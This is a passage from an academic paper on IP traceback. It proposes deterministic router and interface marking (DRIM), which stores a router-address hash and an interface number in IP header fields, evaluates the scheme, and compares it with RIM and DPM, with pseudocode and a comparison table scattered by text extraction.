The marking technique uses 32 bits -corresponding to the 16-bit ID field, 3-bit fragment flag field and 13-bit fragment offset field -in the IP header to store marking information. Figure 3 shows the mapping between the IP header fields and the marking fields. The fragment fields hold information about packet fragmentation. However, fragmented traffic is relatively rare on the Internet (about 0.25 percent of all traffic) [START_REF] Savage | Network support for IP traceback[END_REF][START_REF] Shannon | Characteristics of fragmented IP traffic on Internet links[END_REF]. The rarity renders the 32 bits as redundant space in a normal IP header and enables them to be used to store marking information.

As with the technique of Rayanchu and Barua [START_REF] Rayanchu | Tracing attackers with deterministic edge router marking[END_REF], a 16-bit hash value of the 32-bit IP address is embedded in the ID field. An enterprise network grade Cisco router that connects to a maximum number of 4,096 interfaces would use a maximum of twelve bits in the mark. The least significant twelve bits of the 13-bit offset are used to store the interface number. To indicate that the used fields do not contain fragmentation information, the DF bit is set to one and MF bit is set to zero.

Algorithm 1 lists the steps used to encode and mark the IP address and the interface number of the router in each packet.

Algorithm 1 : Marking the address and interface number of router R i .

for each outbound packet P reaching router R i through interfaces

I

Traceback Operation

The traceback operation (Algorithm 2) is simple because each packet holds the information required to identify the first ingress router and the interface through which the packet reached the router. The 16bit identification field in the IP header gives the 16-bit hash value of the router's 32-bit IP address. The 12-bit value in the offset field indicates the interface number. The identification of the interface through which the attack packet entered the network places the attacker closer than other traceback techniques that only identify the first ingress edge router. Since each packet has all the marker information, the traceback operation requires only a single packet.

Evaluation

The metrics used to evaluate the proposed IP traceback technique are:

Number of Packets for Traceback: Every packet provides information about the attacker. The information includes the ingress router IP address and interface number from which the attack packet entered the network. The technique works for any number of distributed attackers working in coordination.

Processing Overhead: The processing overhead is nominal because the marking operation is a simple function. The overhead may increase as the router bandwidth reaches its maximum. The overhead can be reduced by precomputing the IP address hash.

Storage Overhead:

The technique requires no additional storage beyond the hash value of the router.

Infrastructure Changes: Infrastructure changes are minimal because the technique requires the implementation of only one additional function in the routers. The function to reconstruct the traceback is only required at the victim's end.

False Positive Errors: A false positive error arises when a legitimate client is misidentified as an attacker. Because the routing technique is deterministic, the number of false positive errors is bound by the number of collisions of the hash function.

Scalability:

The technique is scalable and can handle multiple attackers because information about the attacker is in each packet.

ISP Involvement: Considerable interaction with an ISP is required to implement the marking function in all routers.

Effect of Partial Deployment: Incremental deployment is limited because the marking is done only once. If the attacker's ingress routers do not perform the marking, then the technique may yield more false positive errors. The assumption that marking occurs in the attacker's network ensures that every packet that reaches the first ingress edge router is marked.

Comparison with Other Techniques

Table 1 compares the router interface marking (RIM) [START_REF] Chen | RIM: Router interface marking for IP traceback[END_REF] and deterministic packet marking (DPM) [START_REF] Belenky | IP traceback with deterministic packet marking[END_REF] techniques with the proposed deterministic router and interface marking (DRIM) technique. The metrics used for evaluation were originally suggested by Belenky and Ansari [START_REF] Belenky | On IP traceback[END_REF].

DRIM has several advantages over the other techniques. It can trace the attacker using a single packet and does not require additional memory at the router or at the victim. The marking operation is simple, easily implemented and overcomes mark spoofing. Because the entire marking information is available in a single packet, there are fewer false positive errors. DRIM goes one step beyond other related techniques by identifying the interface from which a packet reached the ingress router. This increases the possibility of tracing an attacker beyond the router, which the other techniques are unable to accomplish. The advantages of RIM are that it can be deployed partially and requires moderate ISP involvement. However, partial deployment is not a disadvantage in the case of DRIM. Partial deployment adversely affects any network forensic technique because it is impossible to attribute the attack to a particular host if the marking mechanism is not in the attacker's network.

Conclusions

The deterministic interface and router marking (DRIM) technique can trace an attacker from the ingress edge router usign a single packet, meeting the basic requirement of network forensics. It traces an attacker more closely than other techniques by identifying the interface from which the attack packet arrived at the router. This also overcomes the problem of mark spoofing -the interface number enables the router to overwrite a false mark placed by the attacker. Future research will implement both fragmentation and marking, which will facilitate the incremental deployment of DRIM-enabled routers and reduce ISP interaction.

Figure 1 .

 1 Figure 1. IP traceback mechanism.

Figure 2 .

 2 Figure 2. Deterministic router and interface marking.

1 .Figure 3 .

 13 Figure 3. (a) IP header fields; (b) Overloaded fields for marking.

  j ⊆ I local do write HashIP 16 (R i ) into P.Identif ication write I j into P.of f set[0..11] Reconstruction at victim V . for each attack packet P reaching victim V do read HashIP 16 (R i ) from P.Identif ication extract IP from HashIP 16 (R

	set P.DF = 1
	set P.M F = 0
	end for
	Algorithm 2 :

i ) read I j from P.of f set[0..11] IN = I j return (IP, IN ) end for

Table 1 .

 1 Comparison of RIM, DPM and DRIM techniques.

	Metric	RIM		DPM	DRIM
	Number of	Single packet	Seven packets	Single packet
	packets
	Processing	Packets	probabilis-	Packets marked only	Packets assigned two
	overhead	tically marked with	once with the first or	marks by the first
		XOR and interface	last sixteen bits of the	ingress edge router
		ID values or XOR	edge router's address
		value is updated
	Storage	Trace table maintains	Table used for match-	Hash value of router's
	overhead	hop count, interface	ing source and ingress	address is precom-
		id and XOR value	addresses	puted and stored
	Marking field	17 bits (handling 64	34 bits in two consec-	31 bits (handling
	length	interfaces)		utive packets	4,096 interfaces)
	Infrastructure	One function added	One function added	One function added
	changes	to network devices	to network devices	to network devices
	False positive	Few errors as router	Two packets carry	Hashing the router's
	errors	interface IDs may not	the router's address	address yields few er-
		be unique		and may yield errors	rors
	Scalability	False positive errors	Thousands of attack-	Any number of at-
		increase with number	ers can be traced	tackers can be traced
		of attackers
	ISP	Moderate		High	High
	involvement
	Partial	False positive errors	Limited	Limited
	deployment	decrease with an
		increase in RIM-
		enabled routers
	Mark	Additional	scheme	Spoofed marks are	Spoofed marks are
	spoofing	using hash function	overwritten because	overwritten because
		and offset to prevent	ingress router de-	interface number de-
		mark spoofing	termines validity of	termines validity of
				marks	marks
	Extent of	Ingress router closest	Ingress router closest	Ingress router and in-
	traceback	to the attacker	to the attacker	terface closest to the
					attacker